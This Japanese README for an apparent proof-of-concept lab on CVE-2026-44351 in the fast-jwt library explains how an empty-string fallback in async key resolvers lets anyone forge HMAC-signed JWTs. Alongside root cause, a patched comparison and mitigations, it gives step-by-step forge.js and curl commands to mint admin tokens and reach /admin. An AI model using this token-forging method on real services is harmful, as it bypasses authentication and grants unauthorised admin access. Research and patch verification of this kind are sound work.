| CVE | CVE-2026-44351 |
| Advisory | GHSA-gmvf-9v4p-v8jc |
| CWE | CWE-1391 (鍵の不適切な検証) / CWE-287 (不適切な認証) / CWE-326 (不十分な暗号強度) |
| CVSS 3.1 | 9.1 CRITICAL — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| 脆弱性 | fast-jwt < 6.2.4 (6.2.3 で検証済み) |
| パッチ | [email protected] — 空のHMAC鍵を FAST_JWT_INVALID_KEY で拒否 |
📄 詳細な技術ドキュメント (実際のコードによる根本原因、攻撃の解剖、パッチ分析):
docs/CVE-2026-44351.md
fast-jwt は鍵解決 (key) として非同期関数を渡すことを許可している — これは
JWKSサーバーと統合する際の典型的なパターンである:
const verify = createVerifier({
// ライブラリ自体が文書化している標準的なJWKSパターン
key: async (decoded) => jwks[decoded.header.kid] || '',
})
受信トークンの kid が存在しない場合、このパターンは '' を返す。fast-jwt
は空文字列を長さゼロの Buffer (Buffer.alloc(0)) に変換し、それを
crypto.createSecretKey に渡し (Nodeはこれを黙って受け入れる)、空の鍵によるHMAC
を使ってトークンの署名を検証する。
HMAC-SHA256(key='', input='<header>.<payload>') は誰でも計算できるため、攻撃者は
実際のシークレットを知る必要がない: 任意のクレーム (sub、admin、roles、
scopes、iss、aud、…) を持つトークンを偽造すれば、検証器はそれを正規のもの
として返す。
非同期の鍵解決 (関数) 経路にのみ影響する。同期設定
key: ''はcreateVerifierがfalsy値でショートサーキットするため、正しく拒否される。
脆弱性は src/verifier.js に存在する。async key resolver のフローにおいて:
getAsyncKey(key, { header, payload, signature }, (err, currentKey) => {
// ...
if (typeof currentKey === 'string') {
currentKey = Buffer.from(currentKey, 'utf-8') // '' -> Buffer.alloc(0)
}
const availableAlgorithms = detectPublicKeyAlgorithms(currentKey)
// 分岐 !publicKeyPemMatch && !X509 -> hsAlgorithms = ['HS256','HS384','HS512']
if (validationContext.allowedAlgorithms.length) {
checkAreCompatibleAlgorithms(...)
} else {
validationContext.allowedAlgorithms = availableAlgorithms // HMACファミリーが割り当てられる
}
currentKey = prepareKeyOrSecret(currentKey, /* isSecret */ true)
// -> createSecretKey(Buffer.alloc(0)) (長さチェックなし)
verifyToken(currentKey, decoded, validationContext)
})
そして署名は src/crypto.js で検証される:
if (type === 'HS') {
try {
return timingSafeEqual(createHmac(alg, key).update(input).digest(), signature)
} catch { return false }
}
crypto.createHmac('sha256', Buffer.alloc(0)) は動作し、入力のHMACは攻撃者が計算
可能であり、偽造されたトークンは受け入れられる。
[email protected] で検証済み)| Resolver shape | algorithms | HS256 | HS384 | HS512 |
|---|---|---|---|---|
async () => '' | (default) | ✅ 受け入れ | ✅ 受け入れ | ✅ 受け入れ |
(d, cb) => cb(null, '') | (default) | ✅ 受け入れ | ✅ 受け入れ | ✅ 受け入れ |
async d => keys[d.header.kid] || '' | (default) | ✅ 受け入れ | ✅ 受け入れ | ✅ 受け入れ |
async () => '' | ['HS256','HS384','HS512'] | ✅ 受け入れ | ✅ 受け入れ | ✅ 受け入れ |
async () => '' | ['HS256','RS256'] | ✅ 受け入れ | INVALID_ALG | INVALID_ALG |
async () => '' | ['RS256'] | INVALID_KEY | INVALID_KEY | INVALID_KEY |
攻撃は手動で実行される: 唯一の成果物は forge.js であり、空の鍵で署名された
JWTを生成する。送信と検証は curl で行う。
docker compose up -d --build server
curl -s http://localhost:3000/health # {'status':'ok'} -> target listo
Dockerは脆弱なtargetを実行するためだけに使用され、エクスプロイト用ではない。 攻撃の残りの部分は手動である。
アプリの実際のJWTを特定し (例えば認証済みリクエストから)、署名を検証せずにその header/payloadを検査する:
node forge.js decode eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6...
# header : { "alg": "HS256", "typ": "JWT", "kid": "..." }
# payload : { "sub": "user", "iat": "...", "exp": "..." }
検証すべきポイント:
kid を公開している → アプリは kid で鍵を解決する (JWKSの可能性)。kid を401で拒否するが、invalid algo/
invalid key を提示しない場合、resolverはおそらく keys[kid] || '' を行っている。node forge.js # 画面にトークン + curlコマンドを表示
node forge.js -o /tmp/jwt.txt # トークンをファイルに保存
node forge.js --kid forged --sub root --admin true --exp 7200
node forge.js --alg HS384 --role superadmin
スクリプトは常に、選択されたヘッダー {alg, typ, kid} とpayloadを、アプリの実際の
シークレットを知ることなく、空の鍵 (secret: "") を使った HMAC-SHA* で署名
する。
コピーしたトークン (またはファイルから読み込んだトークン) を使って:
TOKEN=$(cat /tmp/jwt.txt)
curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN"
標的が脆弱な場合の期待されるレスポンス:
HTTP/1.1 200 OK
{"message":"Welcome to the admin panel.","sub":"attacker","allowed":true}
| ケース | コマンド | 結果 |
|---|---|---|
| トークンなし | curl -si http://localhost:3000/admin | 401 Unauthorized |
| 無効なトークン | curl -si http://localhost:3000/admin -H "Authorization: Bearer A.B.C" | 401 Unauthorized |
| 偽造トークン | curl -si http://localhost:3000/admin -H "Authorization: Bearer $TOKEN" | 200 OK + adminアクセス |
バイパスはクレームを変更してステップ2〜3を繰り返すことで再現可能である
(ポストエクスプロイト: role、scopes、別の sub などへの昇格)。
脆弱なバージョンとパッチ済みバージョンの簡単な比較:
npm run demo # [email protected] -> 偽造トークンが受け入れられる
npm run fixed # [email protected] -> 偽造トークンが拒否される (FAST_JWT_INVALID_KEY)
Dockerでも:
docker compose up -d demo fixed-demo
docker logs cve-2026-44351-demo
docker logs cve-2026-44351-fixed
[email protected] 以降にアップデートする: prepareKeyOrSecret は長さゼロの
HMAC鍵を FAST_JWT_INVALID_KEY で拒否する。''/Buffer.alloc(0) を返さない:
undefined/null を返し、そのケースを鍵解決エラーとして扱う。cache: false を使用する: 検証キャッシュ (デフォルト1000エントリ / 600秒TTL) は
以前に受け入れられた偽造トークンを保持する可能性がある。サーバーは管理コンソール (public/) も公開しており、実際のアプリ上で
エクスプロイトを確認できる: 企業ログイン、クレーム付きダッシュボード、adminアクセス
パネル、統合されたRed Teamビュー。
node server.js # または再度: docker compose up -d --build server
open http://localhost:3000
デモアカウント:
| Password | ロール | |
|---|---|---|
[email protected] | admin123 | admin: true (superadmin) |
[email protected] | user123 | admin: false (member) |
アプリは正規のSaaSを再現している:
POST /login は createSigner を介して実際のシークレット (kid: legit-kid) で
署名されたJWTを発行する — signerは脆弱ではない。localStorage に保存し、脆弱なverifierを使用する
GET /admin を叩く。'' によるHMAC-SHA256、RFC 2104 — WebCryptoは長さゼロの鍵を受け入れない)、
または node forge.js のトークンを貼り付けて /admin を試す。admin: true で
200 OK を返す → ブラウザから出ることなくバイパスが確認される。フロントエンドは単なるプレゼンテーションである: 脆弱性は同じまま (async key resolverと
keys[kid] || '') であり、READMEのforge.js+curlによる手動攻撃 フローは引き続き機能する。
.
├── Dockerfile fast-jwt 6.2.3 と 6.2.4 (fixed/) のイメージ
├── docker-compose.yml server / demo / fixed-demo サービス (exploitなし)
├── .dockerignore node_modulesをビルドコンテキストから除外
├── package.json 依存関係: [email protected] (脆弱)
├── server.js 脆弱なAPI (フォールバック || '' 付きasync key resolver) + /admin + /login + 静的ファイル
├── forge.js 唯一のスクリプト: 空のsecretでJWTを生成 / トークンを検査
├── demo.js [email protected] (脆弱) に対するライブラリレベルのデモ
├── public/ 「実際のアプリ」フロントエンド (login, dashboard, admin, red team)
│ ├── index.html
│ ├── styles.css
│ └── app.js SPA + クライアントサイド偽造 (純粋なJSでの鍵 '' によるHMAC-SHA256)
├── docs/
│ └── CVE-2026-44351.md 技術ドキュメント: 内容、根本原因、パッチ
└── fixed/
├── package.json 依存関係: [email protected] (パッチ済み)
└── demo.js [email protected] (パッチ済み) に対する同じデモ
この資料は教育およびセキュリティ研究のみを目的としている。エクスプロイトは 自身のアプリケーション、または所有者の書面による許可を得た場合にのみ使用すること。 第三者システムに対するこの技術の無断使用は違法であり、その使用の責任は使用者自身に ある。